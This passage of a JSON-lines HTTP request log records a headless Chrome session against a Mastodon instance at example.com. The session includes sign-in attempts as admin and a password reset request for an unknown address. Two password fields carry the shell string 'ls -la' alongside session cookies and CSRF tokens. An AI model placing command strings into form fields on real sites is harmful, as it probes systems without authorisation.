_mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/form_field_wrapper-B00MNsQd.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
{"method": "GET", "target": "/@admin/with_replies", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=42mL10PkAX9XYgEBGPPfjNKIRbIpiy84ppa4Y5EYeCOTdKQJZfMXE0pzAJh5wERGUFJDOokmvWRwIDhjB4b7gKGvItBtC0ucnTwN5Ii6EAbONS23cGmAK7ONtvdxdAmbSujdm7mJk9yHYSf39CruUIJ0xhGjp7arrN60QCMXklXo4QQBWuIh52qSMhon62xFCaxx1B4bHO9IELRw7EqZ877rzLi%2FYTGTPsVxqb3zNBS5FPLo%2F5h4tz%2B1Bjz1vA2CYsN2kO2E5Du%2Fy44nN2a24%2FElemcLwkEVsA%3D%3D--jb3fXA9OhA%2BumZe4--RuKLyPXQt17IKgB6c%2B6bhA%3D%3D"], "body": ""}
{"method": "GET", "target": "/oops.png", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/@admin/with_replies", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=P99A4aWKLH4s0GL46qk8Hl%2BUpnDukJ6bw1DpAbDHV67zkcBmXsqzWS1GJBwfCtYQaVLBgtzvamWzuyYpZLrzEjbEvbCDiW77AslmOj%2BQiyXE3xtnF%2BYvRbF3wHp1RBBEvWQ3B19O3%2B6DInK6O2WRICL6lET45EBlMrYFBBknMKwl1KHoo%2BKheo4TUqfZewvKqPqRZFjsBzFh6l7U4VZsBb4RELtl8Dk8leNd%2F0vCboT6UOWGYvCyb8brQBMizsjJrpa8ZEKz0XWrntRYxzvLjI1M2o%2BRugTi8Q%3D%3D--kZdT4xbuOxBTkQzT--Z4RpSlVplsEmtgrsU0RJow%3D%3D"], "body": ""}
{"method": "GET", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=P99A4aWKLH4s0GL46qk8Hl%2BUpnDukJ6bw1DpAbDHV67zkcBmXsqzWS1GJBwfCtYQaVLBgtzvamWzuyYpZLrzEjbEvbCDiW77AslmOj%2BQiyXE3xtnF%2BYvRbF3wHp1RBBEvWQ3B19O3%2B6DInK6O2WRICL6lET45EBlMrYFBBknMKwl1KHoo%2BKheo4TUqfZewvKqPqRZFjsBzFh6l7U4VZsBb4RELtl8Dk8leNd%2F0vCboT6UOWGYvCyb8brQBMizsjJrpa8ZEKz0XWrntRYxzvLjI1M2o%2BRugTi8Q%3D%3D--kZdT4xbuOxBTkQzT--Z4RpSlVplsEmtgrsU0RJow%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/_rolldown_dynamic_import_helper-CIAwlR2T.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=sPgL3ou8sthfWEkwqZ65YZy9V2B1tZu9TNRUYO%2Bp07ZVlTIyhmzZcePoFdN8IzhCysqLk0t27cqDPQH%2F7DNSQIJgYTRo67X3pMWZ4oThGw8f8eOYrCpWWjkPaXIQM18CQx4%2Ba%2FrpWyr2FvWUbkRRTOLQlWU%2FPah9dAQxZdWMDaP7ELjRdmf3EBp%2FQ3xcYJD6maSbMzB59bBAcDwNQ9jistbiipsOPSRrUsXmvVcwvVjuowPUUEGVsuAufTe%2BVDvvM7QBf8mUxTTpsyB7mX4mJAtQwkvS9e8Ksw%3D%3D--mWr3qElxhcNX%2BK3s--L5GjqJgw3Kt0CYbhkSAzeQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 181", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=sPgL3ou8sthfWEkwqZ65YZy9V2B1tZu9TNRUYO%2Bp07ZVlTIyhmzZcePoFdN8IzhCysqLk0t27cqDPQH%2F7DNSQIJgYTRo67X3pMWZ4oThGw8f8eOYrCpWWjkPaXIQM18CQx4%2Ba%2FrpWyr2FvWUbkRRTOLQlWU%2FPah9dAQxZdWMDaP7ELjRdmf3EBp%2FQ3xcYJD6maSbMzB59bBAcDwNQ9jistbiipsOPSRrUsXmvVcwvVjuowPUUEGVsuAufTe%2BVDvvM7QBf8mUxTTpsyB7mX4mJAtQwkvS9e8Ksw%3D%3D--mWr3qElxhcNX%2BK3s--L5GjqJgw3Kt0CYbhkSAzeQ%3D%3D"], "body": "authenticity_token=YBiFBdF-3jG5EOxhF1sjYGzUdBCTXEROhQPe4y5bBFWERvd8gQqxhguAlHAJuI_W98DnScSrzETt5jvr_ajjBA&user%5Bemail%5D=admin%40example.com&user%5Bpassword%5D=wrong+ls+-la&button="}
{"method": "GET", "target": "/auth/password/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=uI%2BJbpntJBTB6fbn6N1mQIMyFngCoyGh4xPbuheZgFu9hc35yo2ry2OEJ6PURZIoQdC5X76YOOatVLfdQOZsmdFEiEFo1YPpqda1x8Of2eksflmrzKDVVajQ2CIppm3cS0MR6WJSPH7Vp9hDBD3U4L3xe5e0S1EHR3AN2uW8FYAnxZA5VScmcta1e4cdNXQYATYRShOA6TPoh9IZqoQBEEZGuv1EDlHS%2Fu%2FTRAxn2Qo4l%2FzTcucWDRq%2F4gsA7s9tdU8SrsvwNRc%2Bz%2BKNIMiDiKEVRCuh%2BEQ%2Few%3D%3D--te09A8TdGyjRQryO--HlwNLJKT2Y1NN%2FPpenYjOg%3D%3D"], "body": ""}
{"method": "POST", "target": "/auth/password", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 150", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/password/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=tK17FZfnsNGmfgp5g3yygZyIZhAlUySr3oCJVeLEyEN2vMOmcbZjI4vJeHrdrnUOgEjTFHfnqNel%2BuvWe1xkga9HBnKGZAg2fVxiVB51qjHbSqwJtWWXPbWJmE42%2Br93hAmO5a9m6Eq9J9UKaDhtg%2Bdi%2F4QjfI47AQBAC5VorkIAOKFS%2BgodC8ZmiwEfaKmt1ZrLYq7LbS%2BPKZq1u2EeIS5zsHGMmNBZKLIPPNPv9lBueoqEluQtsdYWxsiPitgQ6o%2Bpzsfk0c6q3tU%2FxCSmk2PHthvJdrr3wQ%3D%3D--nattG4n8ZzPDvFuE--tnSiSmZJb1h8kLZ7JpXiYQ%3D%3D"], "body": "authenticity_token=dGH0Rtc_mPEzBPXi7x2dxU2LHEX8Q6p87yFwjDFLHwu2_iXowjtGuoybsROnRAN6LbTINkxk5zhaB6xSROqkGg&user%5Bemail%5D=nobody%40example.com&button="}
{"method": "GET", "target": "/packs/emoji-C5pkf6Bo.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=LgPurskyAR3GEmHSy%2BxSW7e%2F6bC3cGLJXHHTQY568jHH6xxcE2wxGfPIjNX26itedY98EhR5N8QN7%2FMTemz1JRbhyQ%2F%2Bi0IStWJ8OzICHhz3446gouG1g%2Bei0GpJtyUOMd0%2B2Rr%2BLM7sRYXeE3IPW3LzX2ykCyN4cxZQkVUFQ7y8O7PR9RZw%2FOd1NkY9%2B82XibUC89vjQaBTdETk0zzgQzCLurDdnmtJkKU31Vh3dyeeHa63pmqmDtlRGRWjAVJT0M%2BXk0ki7YNTVLq4uWGHVJ6q6TeO2BswEA%3D%3D--kjzl6yjAEI1NOCBX--YIQZP8uv8I1mkb2GTcSrbA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/settings-Cq4pjZIN.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=Q7HoiTX%2BcJm9LXv%2BhZYGxZRXindYZ%2FDJ0HYdn7ur0GUl42m3edTDwwrcxhU9yoS8yxdqRLgaTk0jP3qinG8UASlcPHDXXeyeCdAHpahqiZ%2Fuxmn10PLbClbOHHUfVCemrKfDz56jtrpEa65rc5q8AjDXHUh5gkaw5lhA9zzWv0j%2FamxGUGqybsxH%2F3trfw%2FSeDymUXhySPdfidMuBWMEfTn8P7Yd8CWYKmyy0lx0hcPs%2FyR%2FWfaSgyJK%2FiBylbIcOkgK2Mg7mbLEo8qihGgVORLgG22E5%2BxOCA%3D%3D--BmwNr8ZWAKQMuKjM--CImc0jei8FFJeru5Z7tbMQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 196", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=Q7HoiTX%2BcJm9LXv%2BhZYGxZRXindYZ%2FDJ0HYdn7ur0GUl42m3edTDwwrcxhU9yoS8yxdqRLgaTk0jP3qinG8UASlcPHDXXeyeCdAHpahqiZ%2Fuxmn10PLbClbOHHUfVCemrKfDz56jtrpEa65rc5q8AjDXHUh5gkaw5lhA9zzWv0j%2FamxGUGqybsxH%2F3trfw%2FSeDymUXhySPdfidMuBWMEfTn8P7Yd8CWYKmyy0lx0hcPs%2FyR%2FWfaSgyJK%2FiBylbIcOkgK2Mg7mbLEo8qihGgVORLgG22E5%2BxOCA%3D%3D--BmwNr8ZWAKQMuKjM--CImc0jei8FFJeru5Z7tbMQ%3D%3D"], "body": "authenticity_token=tYbEcCSCu_h8rdEZMghnMlgWjAfdQqHTHZTziWCpLDGY4jaY_4SFkQ8H3ExPvU0CrjiKVBmqAYLTIfSNHXZxQA&user%5Bemail%5D=admin%40example.com&user%5Bpassword%5D=Notes+on+python3+and+ls+-la&button="}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuNjQxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--28d48911bed2da76e657cfd48585158534d5c47a; _mastodon_session=YOrx89o7qjhKPvfEpdmJdg570269f7aSZUML40W%2BlW%2Fubs3xwgoch4q6AM6Xg32%2Fg8exFZkHUcCpsL0Giy7MTzZtWxBlZf%2F5I9GiyuFtlESBUtdEqkP4Z4KrT8%2Fg2omaV31xIX%2FzBgvIKVAfLuVT9qYDlW%2Fc75Set4vCcT5iavNtARnC6D5zDbrQ2LKim4q0R7PxXwig%2BurKNmOXTX%2BkXRjGWCd53iA4MDZv9epg0PHiOaeEm2mSGNXj9B0UWAemSPAKe7fhjrde1fvntrmpl4%2FWRY8HD27UsA%3D%3D--%2BsgIH0y6zLs7lrky--UaPVyEFTlgr4bA1SqWGzmQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/auth/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuNzY0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2c181d84aa265551b1780d27b3a76d7cbab01297; _mastodon_session=TQU0aHRupi%2FO1r4Sxmv5u0NmPDuoFmGlYx%2BVd0gkNyNuJjnokw4P2gab2wy2odvAiO1pb1tsNmi3Qdfsa8AwhL6XftfrqXGEF7jOqES4u%2FaPRaXGJSiKVxpx9rnZsFuXt3RLE7n5b7BpCo2aGAhgj6A%2FXbtz2KZlcc46LCsYn4v4GXf8nmjT60UsJCRwFZGe7sxa3IgN5hS6nBq%2Fnet2iiLuEIJYN6mQlsCfN%2BMCX49ea94HlP2MU51C45bAQ25hajhf%2BCtJkfEUHl1q%2FDGzeuUpHCsc1Pz2pA%3D%3D--%2BE9%2FnPiju%2BohhYYJ--qZsWuPtrWuSNcuYoMrq71w%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/database-D_1Mbg_g.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4351c8afb92d6b2c0536b7020c45f811d629a802; _mastodon_session=K1pk1JTWWlVjT11oK%2Fq%2FfGE4Tx32aDJODVBDx8MFp3AV%2FQj58i27HoeIwY49AI6q1bprv5%2Br9gKrof7XsNxxn5tReXkM4n7Jcmts2tou3D1rJtq6c5hIPDWF7eD69SfvreRcAttD6o1Iz9btDMOpfQKBn0%2Fp%2BLOj8rB3Dn%2FZfCIYNy3rfI9NODy1NL3IXRpeihMBQlQRmOUjdmYJxyj69u0xn7YhP2LtcaxoqYztqE4iZvUcq5smR2MCrZeORpTRGgXgYsXI6faap9sY0yo8ozRFCgz2mwnAxFqW3sE%2FHza7dmSwTWdTb%2FydJN1dtG5hDfwSfrNKP2q2ejGMH8hm%2BihQp658MA3VzU6CYhzzZmVXykA73YDKeKPzBP9%2F2B0DTgtwJKcF5OZs--vZgFBAv%2BiCLnYPwl--gb7SPq6pMfnQ0SQ73wsbDQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4351c8afb92d6b2c0536b7020c45f811d629a802; _mastodon_session=K1pk1JTWWlVjT11oK%2Fq%2FfGE4Tx32aDJODVBDx8MFp3AV%2FQj58i27HoeIwY49AI6q1bprv5%2Br9gKrof7XsNxxn5tReXkM4n7Jcmts2tou3D1rJtq6c5hIPDWF7eD69SfvreRcAttD6o1Iz9btDMOpfQKBn0%2Fp%2BLOj8rB3Dn%2FZfCIYNy3rfI9NODy1NL3IXRpeihMBQlQRmOUjdmYJxyj69u0xn7YhP2LtcaxoqYztqE4iZvUcq5smR2MCrZeORpTRGgXgYsXI6faap9sY0yo8ozRFCgz2mwnAxFqW3sE%2FHza7dmSwTWdTb%2FydJN1dtG5hDfwSfrNKP2q2ejGMH8hm%2BihQp658MA3VzU6CYhzzZmVXykA73YDKeKPzBP9%2F2B0DTgtwJKcF5OZs--vZgFBAv%2BiCLnYPwl--gb7SPq6pMfnQ0SQ73wsbDQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/auth/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzU6MDEuMDU5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6c78b7fb3bec1ce605d39ee0aef03bde18540ca3; _mastodon_session=VIe15oPh2vxBOI2mENddhE8dwJu5zLG%2BNqG6TNxbzJ8rkncq%2FBoXLq%2BmSlA3%2FylpwLFu5CL%2FDFN3RLAfslhJFo%2FUAzoM8wHyLdXdIBga49tivHH9vPIaMRiibFeEtyBo71FfXm5dEcVO0r7ChYQgY5X%2FgMip3Y9xmlUrkB%2FIlNF58vmJNKqa87toSjsiFZRA28t77CmZ1CLdSD9wh0JwGnJI49bASQo9l8cM268Not5IOziRQbiRgnJ%2FpIA8rm80N9GZRrh2RJsnR0EMKjOLXCky7aEKGpD7QiawHibgQxFoxgtoYq30CxwONb7nJG%2FkVC0NGE1AzMty2NehgFea%2FNxInqKbZh1RGM8QmDyB3c5tR3E5RA97cjxAO7hNK7x5lnECUl6nYA1s--v%2FKn7kQWQ6mlSdW4--4ZtgcqEPjqZKHhpphX1Hig%3D%3D"], "body": ""}
{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 